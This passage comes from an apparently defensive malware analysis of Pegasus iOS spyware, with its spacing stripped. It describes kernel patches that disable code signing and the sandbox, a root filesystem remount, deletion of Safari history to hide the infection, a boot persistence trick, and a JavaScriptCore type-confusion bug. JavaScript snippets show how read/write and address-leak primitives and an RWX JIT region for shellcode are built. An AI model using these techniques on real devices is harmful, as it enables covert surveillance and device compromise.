,whichcontainsthelistofaccesscontrol
policymodulescurrentlyloadedintotheiOSkernel.Stage2examinesthelistlookingfora
modulethatstartswiththenameSeat,referringtotheSeatbeltsandboxpolicy.Ifthepolicy
moduleisnotfound,Stage2callstheassertcallbackandterminates.Ifthemoduleisfound,
however,them
pc_field_off
memberisreadandmodifiedtoallowthecurrentprocess
greateraccesstothevictimsiPhone.
Withaccesstothekernelportnowestablishedandrestrictionsremovedthatwouldprevent
Stage2fromperformingprivilegedactionsnormallyblockedbysandboxpolicy,Stage2no
longerrequiresthehookedg
etattr
h
andlerfortherealtimeclock.Toensurethatfuturecalls
tothishandlerdonotcrashthephone,theg
etattr
functionpointerismodifiedtopointtothe
instructions:
BX
LR
Thisnewhandlerfunctioneffectivelyturnsfuturecallstotherealtimeclocksg
etattr
h
andler
intoaNOP.Thisispresumablydonetoensurethatfuturecallsthetotheg
etattr
handler(by
someotherprocess)donothaveunintendedconsequencesandcausethekerneltocrash.
DisablingCodeSigning
Bydefault,iOSonastandardiPhonewillpreventunsignedcodefromrunningthroughnormal
means,suchasane
xecv
ors
ystem
call.Likewise,modificationstotherootfilesystemare
preventedbysettingthefilesystemasreadonly.ThesearesituationsthatwillpreventStage2
fromexecutingajailbreakprogramandwillpreventthejailbreakprogram,ifitactivates,from
beingabletomodifythesystem.Stage2modifiesseveralkernelfunctionsandtwokernel
extensions(kext)inordertopermittheseforbiddenactions.Stage2startsbyfindingthekextfor
com.apple.driver.AppleMobileFileIntegrityandcom.apple.driver.LightweightVolumeManager.
Page34
Thecom.apple.driver.AppleMobileFileIntegrity(AMFI)extensionisresponsibleforenforcing
iOSscodesigningfunctionality.Thecom.apple.driver.LightweightVolumeManagerextensionis
responsibleforthepartitiontableofthemainstoragedevice.
Stage2locateseachofextensionsbycallingOSKextCopyLoadedKextInfoforeachextentions
name,whichreturnsadictionaryobjectcontaininginformationabouttheextension.Withinthe
dictionaryistheloadingoffsetoftheextensionbeingqueriedthatStage2turnsintothekernel
memoryaddressbyaddingtheknownkernelslidevalue.
ArmedwiththekerneladdressoftheAMFI,Stage2locatesthefollowingglobalvariables:
amfi_get_out_of_my_way
cs_enforcement_disable
Thesetwovariables,whenset,disableAFMI(a
mfi_get_out_of_my_way
)anddisablecode
signingenforcement(c
s_enforcement_disable
).Stage2thensetstwomoreglobal
variables:d
ebug_flags
a
ndD
EBUGflag
.Thesetwovariablesallowfordebuggingprivilege
onthevictimsiPhone,furtherreducingtherestrictionsthatthesandbox(Seatbelt)imposeson
thedevice.
Next,Stage2patchesthekernelfunctionv
m_map_enter
andv
m_map_protect
inorderto
disablecodesigningverifications(makingitpossibletoallocateRWXregions)withinthevirtual
memorymanager.Followingthis,Stage2patchesthe_
mapForIO
functionwithinthe
LightweightVolumeManagerbeforepatchingthekernelfunctionc
sops
todisableevenmore
codesigningprotections.
RemountingtheDrive
Inordertojailbreakadevice,therootfilesystemmustbeaccessibleforwriting.Stage2tests
thewritabilityoftherootfilesystembycallingthea
ccess
functionagainst/
sbin/launchd
to
determineifStage2haswriteaccesstotherootfilesystem.Ifthefileisreadonly,Stage2
patchesthekernelfunction_
mac_mount
todisabletheprotectionpolicythatprevents
remountingthefilesystemasread/writeandthenremountstherootfilesystemasread/writeby
callingm
ount(hfs,
/,
MNT_UPDATE,
mountData)
w
herem
ountData
specifiesthe
/dev/disk0s1s1
device.
Stage2iswrittensuchthatitwillonlyoperateoniOS9seriesiPhones,butcodeexiststhat
suggestitwasonceusedonolderiOSversions.Asevidencetosupportthisclaim,thereexists
afunctionthatiscalledafterStage2remountstherootfilesystemthatmodifiesitsexecution
pathifitisrunningoniOS7,iOS8,oriOS9.DependingontheiOSversion,thefunctioncalls
fsctl
oneither/
bin/launchctl
(foriOS7and8)or/
bin/launchd
(foriOS9).The
fsctl
callwillmodifythelowdiskspacewarningthresholdaswellastheverylowdiskspace
warningthreshold,settingthevaluesto8192and8208,respectively.
Page35
Cleanup
Stage2isactivatedastheresultofabuginSafarithatallowsforarbitrarycodeexecution.As
oneofthelastactivitiesStage2performspriortodroppingandactivatingthejailbreakbinary,
Stage2attemptstocoveritsinfectionvectorbycleaningupthehistoryandcachefilesfrom
Safari.TheprocessofclearingtheSafaribrowserhistoryandcachefilesisstraightforwardand
iOSversionspecific.
ForiOS8andiOS9(Stage2willterminateatthebeginningifitisnotrunningoniOS9),the
followingfilesaresummarilydeletedfromthevictimsiPhonetoremovebrowserandcache
information:
/Library/Safari/SuspendState.plist
/Library/Safari/History.db
/Library/Safari/History.dbshm
/Library/Safari/History.dbwal
/Library/Safari/History.dbjournal
/Library/Caches/com.apple.mobilesafari/Cache.db
/Library/Caches/com.apple.mobilesafari/Cache.dbshm
/Library/Caches/com.apple.mobilesafari/Cache.dbwal
/Library/Caches/com.apple.mobilesafari/Cache.dbjournal
(filesinthedirectory)/Library/Caches/com.apple.mobilesafari/fsCachedData/
ForiOS7,thefollowingfilesareremoved:
/Library/Safari/SuspendState.plist
/Library/Caches/com.apple.mobilesafari/Cache.db
/Library/Caches/com.apple.mobilesafari/Cache.dbshm
/Library/Caches/com.apple.mobilesafari/Cache.dbwal
/Library/Caches/com.apple.mobilesafari/Cache.dbjournal
Thefunctionconcludesbycallings
ync
toensurethedeletionsarewrittentodisk.
NextStageInstallation
Again,showingevidenceoftheuseofcodeoriginallytargetinganolderiOSversion,thenext
functionthemainthreadcallsdecompressesanddropstwofilesontothevictimsfilesystem.
ThefollowingcodesnippetillustrateshowStage2determinesthelocationofthejailbreaker
binaryonthevictimsdevice:
if((unsignedint)(majorVersion8)>=2)
{
Page36
if
(
majorVersion
==
7
)
pszJBFilenamePath
=
"/bin/sh"
if
(
flag)
pszJBFilenamePath
=
"/private/var/tmp/jbinstall"
else
assert()
writeLog(3,
"%.2s%5.5d\n",
"bh.c",
134)
exit(1)
pszJBFilenamePath
=
0
else
pszJBFilenamePath
=
"/sbin/mount_nfs.temp"
ThecodesnippetshowsthatforiOSversion7,theinstallpathforthenextstagesbinaryis
either/
bin/sh
or/
private/var/tmp/jbinstall
(iff
lag
isnonzero).ForiOSversions
olderthan7,theassertcallbackiscalledandtheprogramterminates.ForiOS8andgreater,
theinstallpathisspecifiedas
/sbin/mount_nfs.temp
.
Thesizeofthedatablobcontainingthenextstagebinaryisverifiedtobenonzero.Ifthesizeis
zero,theassertcallbackoccursandStage2isterminated.TheB
Z2_
*APIfunctionsarethen
usedbyStage2todecompressthedataintotwofiles:thefirstfileisthenextstagebinary,
which,foriOS9,isstoredat/
sbin/mount_nfs.temp.
Thesecondfileistheconfiguration
file,whichisstoredat/
private/var/tmp/jb_cfg
.
Thepermissionsofthetwofilesarechangedto0
755
(makingthefilesexecutable)before
controlreturnstothemainthread.
ThefinalfunctionthatStage2callsbeforeterminatingisresponsibleformovingthebinary
droppedbythepreviousstep.ForiOSversions8and9,thefile/
sbin/mount_nfs.temp
is
renamedto/
sbin/mount_nfs
.IftheiOSonthevictimsphoneisiOS9,anattemptismade
todelete/
sbin/mount_nfs
priortotherenamingoperation.Afterrenamingthefile,theassert
callbackfunctioniscalledfollowedbythee
xit
function,terminatingStage2.
Onceexecutionreturnstothemainthread,Stage2terminatessilently.
ExistingJailbreakDetection
Asmentionedpreviously,theStage2binaryoperatesintwodistinctmodes.Thefirst,whichhas
alreadybeendiscussed,constitutesacompleteiOSexploitandjailbreak.Thesecondisthe
codepathtakenwhentheStage2binaryisrunonasystemthathasalreadybeenjailbroken.In
Page37
thismode,Stage2simplytakesadvantageoftheexistingjailbreakbackdoorstoinstallthe
Pegasusspecifickernelpatches.
Todeterminewhetherthethedevicehasalreadybeenjailbroken,Stage2attemptstoacquirea
validmachport(ahandle)intotheiOSkernelusingacommonjailbreakbackdoor.Thischeckis
performedsimplybycallingt
ask_for_pid
withthePIDvaluesetto0
.Patching
task_for_pid
inthiswayisacommonbackdoormechanismusedbyiOSjailbreaksthat
providesdirectkernelmemoryaccesstoausermodeprocess.Callingt
ask_for_pid
witha
PIDof0
isnotnormallyallowedbyiOS.Ift
ask_for_pid
returnsavalidtaskport,thenthe
Stage2processhaselevatedaccesstothekernelandcanforgotheprivilegeescalationsteps
describedpreviously.
Stage2alsochecksforthepresenceofthebinary/
bin/sh
.Onanonjailbrokenphone,this
binaryshouldneverexist.WhenStage2detectsthepresenceofthisbinary,itassumesthatthe
existingjailbreakiseitherincompatiblewithPegasusorthatallrequiredkernelpatchesare
alreadyinplaceandnofurtheractionisneeded.When/
bin/sh
isidentifiedonadevice,prior
toexploitation,Stage2simplyexitscleanly.
Page38
Section4:PegasusPersistenceMechanism
ThissectiondetailsthepersistencemechanismusedbyPegasustoremainonthe
device after compromise via an exploit of the Trident vulnerabilities,andcontinue
toexecuteunsignedcodeeachtimethedevicereboots.
Page39
PegasusPersistenceMechanism
ThepersistencemechanismusedbyPegasustoreliablyexecuteunsignedcodeeachtimethe
deviceboots(and,ultimately,executethekernelexploittoagainjailbreakthedevice)reliesona
combinationoftwodistinctissues.
Thefirstissueisthepresenceofther
tbuddyd
servicewithinaplist(tobelaunchedondevice
boot).NotethatpriortoiOS10,r
tbuddyd
ispresentonsomeiPhonedevicesforexamplethe
iPhone6S,butnotonothersliketheiPhone6.Asaresult,anysignedbinarythatcanbecopied
intothespecifiedpath(/
usr/libexec/rtbuddyd
)willbeexecutedatboottimewiththe
argumentsspecifiedintheplist(specificallyearlyboot).
<key>rtbuddy</key><dict><key>ProgramArguments</key><array><string>
rtbuddyd
</string>
<string>
earlyboot
</string></array><key>PerformInRestore</key><true/><key>RequireSuccess</key>
<true/><key>Program</key><string
>/usr/libexec/rtbuddyd
</string></dict>
Asaresultofthisbehavior,anysignedbinaryonthesystemcanbeexecutedatbootwitha
singleargument.Bycreatingasymlinknamed
earlyboot
w
ithinthecurrentworking
directory,anarbitraryfilecanbepassedasthefirstargumenttothearbitrarysignedbinarythat
hasbeencopiedtother
tbuddyd
location.
Thesecondissueleveragedinthispersistencemechanismisavulnerabilitywithinthe
JavaScriptCorebinary.Pegasusleveragesthepreviouslydescribedbehaviorinordertoexecute
thej
sc
binary(JavaScriptCore)bycopyingittothepath/
usr/libexec/rtbuddyd
.Arbitrary
JavaScriptcodecanthenbeexecutedbycreatingasymlinknamed
earlyboot
thatpoints
toafilecontainingthecodetobeexecutedatboottime.P
egasusthenexploitsabadcastinthe
jscbinarytoexecuteunsignedcodeandreexploitthekernel.
JavaScriptCoreMemoryCorruptionIssue
TheissueexistswithinthesetImpureGetterDelegate()JavaScriptbinding(whichisbackedby
functionSetImpureGetterDelegate).
EncodedJSValue
JSC_HOST_CALL
functionSetImpureGetterDelegate(ExecState*
exec)
{
JSLockHolder
lock(exec)
JSValue
base
=
exec>argument(0)
if
(!base.isObject())
return
JSValue::encode(jsUndefined())
JSValue
delegate
=
exec>argument(1)
if
(!delegate.isObject())
return
JSValue::encode(jsUndefined())
ImpureGetter*
impureGetter
=
jsCast<ImpureGetter*>(asObject(base.asCell()))
impureGetter>setDelegate(exec>vm(),
asObject(delegate.asCell()))
Page40
return
JSValue::encode(jsUndefined())
}
Thisbindingtakestwoarguments:thefirstisanImpureGetter,andthesecondisageneric
JSObjectthatwillbesetastheImpureGettersdelegate.Theissueresultsfromthelackof
validationthattheJSObjectpassedasthefirstargumentisinfactawellformedImpureGetter.
Whenanotherobjecttypeispassedasthefirstargument,theobjectpointerwillbeimproperly
downcasttoanImpureGetterpointer.
Subsequently,whenthem_delegatememberissetviasetDelegate(),apointertotheJSObject
passedasthesecondargumentwillbewrittentotheoffsetthatalignswithm_delegate(16
bytesintothesuppliedobject).Thisissuecanbeusedtocreateaprimitivethatallowsapointer
toanarbitraryJSObjecttobewritten16bytesintoanyotherJSObject.
Exploitation
PegasusleveragesthisissuetoachieveunsignedcodeexecutionfromwithinaniOS
applicationcontext.Inordertogaincontrolofexecutionflow,theexploitusesanumberof
DataViewobjects.DataViewsareusedbecausetheyprovideatrivialmechanismtoreadand
writearbitraryoffsetsintoavector.TheDataViewobjectalsoconvenientlyhasapointertothe
backingbufferatits16byteoffset.UsingthesecorruptedDataViewobjects,theexploitsetsup
thetoolsneededtogainarbitrarynativecodeexecutionnamely,aread/writeprimitiveandthe
abilitytoleaktheaddressofanarbitraryJavaScriptobject.Oncethissetupiscomplete,the
exploitcancreateanexecutablemappingcontainingthenativecodepayload.Thefollowing
sectionsdetailthevariousstagesofthisprocess.
Acquiringanarbitraryread/writeprimitive
Aread/writeprimitiveforarbitraryoffsetsintoaDataViewobjectcanbeobtainedusingthe
followingcodesnippet.
var
dummy_ab
=
new
ArrayBuffer(0x20)
var
dataview_init_rw
=
new
DataView(dummy_ab)
...
var
dataview_rw
=
new
DataView(dummy_ab)
setImpureGetterDelegate(dataview_init_rw,
dataview_rw)
First,twoDataViewsarecreatedusingadummyArrayBufferasthebackingvectorforboth.
Next,theissueisexploitedtocorruptthem_vectormemberofthedataview_init_rwobjectwith
apointertothedataview_rwobject.Subsequentreadsandwritesintothedataview_init_rw
DataViewwillallowarbitrarymembersofthedataview_rwtobeleakedoroverwritten.Next,
controloverthisobjectisusedtogainaread/writeprimitivefortheentiretyofprocessmemory.
Page41
var
DATAVIEW_ARRAYBUFFER_OFFSET
=
0x10
var
DATAVIEW_BYTELENGTH_OFFSET
=
DATAVIEW_ARRAYBUFFER_OFFSET
+
4
var
DATAVIEW_MODE_OFFSET
=
DATAVIEW_BYTELENGTH_OFFSET
+
4
var
FAST_TYPED_ARRAY_MODE
=
0
dataview_init_rw.setUint32(DATAVIEW_ARRAYBUFFER_OFFSET,
0,
true)
dataview_init_rw.setUint32(DATAVIEW_BYTELENGTH_OFFSET,
0xFFFFFFFF,
true)
dataview_init_rw.setUint8(DATAVIEW_MODE_OFFSET,
FAST_TYPED_ARRAY_MODE,
true)
Threeoffsetsintothedataview_rwDataViewarewritten.First,thepointertothebackingvector
ispointedtothezeroaddress.ThenthelengthoftheDataViewissetto0xFFFFFFFF,
effectivelysettingtheDataViewtomapallofthevirtualmemoryoftheprocess.Last,themode
issettoasimpletype(i.e.,FastTypedArray),allowingtrivialcalculationsoftheoffsetintoa
DataViewgivenavirtualaddress.Thedataview_rwDataViewnowprovidesanarbitrary
read/writeprimitiveviathegetTypeandsetTypemethodsitexposes.
Leakinganobjectaddress
Thelastprimitiveneededistheabilitytoleakthevirtualmemoryaddressofanarbitrary
JavaScriptobject.Theprimitiveisachievedusingthesameissueexploitedabovetoleakthe
addressofasingleobjectinsteadofexposingtheentirememoryspace.
var
dummy_ab
=
new
ArrayBuffer(0x20)
...
var
dataview_leak_addr
=
new
DataView(dummy_ab)
var
dataview_dv_leak
=
new
DataView(dummy_ab)
setImpureGetterDelegate(dataview_dv_leak,
dataview_leak_addr)
...
setImpureGetterDelegate(dataview_leak_addr,
object_to_leak)
leaked_addr
=
dataview_dv_leak.getUint32(DATAVIEW_ARRAYBUFFER_OFFSET,
true)
Again,twoDataViewsarecreatedusingadummyArrayBufferasthebackingvectorforboth.
Next,theissueisexploitedtocorruptthem_vectormemberofthedataview_dv_leakobjectwith
apointertothedataview_leak_addrobject.ToleaktheaddressofanarbitraryJavaScript
object,theissueistriggeredasecondtime.Thistime,them_vectorofthedataview_leak_addr
DataViewiscorruptedwiththeaddressoftheobjectthatisbeingleaked.Finally,thedword
residingatthe16thbyteoffsetintothedataview_dv_leakDataViewcanbereadtoobtainthe
addressofthetargetobject.
Unsignednativecodeexecution
Pegasususesthesamemechanismtogaincodeexecutioninthisexploitasusedinthestage1
Safariexploit.Theexploitcreatesanexecutablemappingthatwillcontaintheshellcodetobe
executed.Toaccomplishthispurpose,aJSFunctionobjectiscreated(containinghundredsof
emptytry/catchblocksthatwilllaterbeoverwritten).TohelpensurethattheJavaScriptwillbe
Page42
compiledintonativecodebytheJIT,thefunctionissubsequentlycalledrepeatedly.Giventhe
natureoftheJavaScriptCorelibrary,thisJITcompilednativecodewillresideinanareaof
memorythatismappedasread/write/execute.
var
body
=
''
for
(var
k
=
0
k
<
0x600
k++)
body
+=
'try
{}
catch(e)
{}'
}
var
to_overwrite
=
new
Function('a',
body)
for
(var
i
=
0
i
<
0x10000
i++)
to_overwrite()
}
TheaddressofthisJSFunctionobjectcanthenbeleakedandthevariousmemberscanberead
toacquiretheaddressoftheRWXmapping.TheJITedtry/catchblocksarethenoverwritten
withshellcode,andtheto_overwrite()functioncansimplybecalledtoachievearbitrarycode
execution.
Page43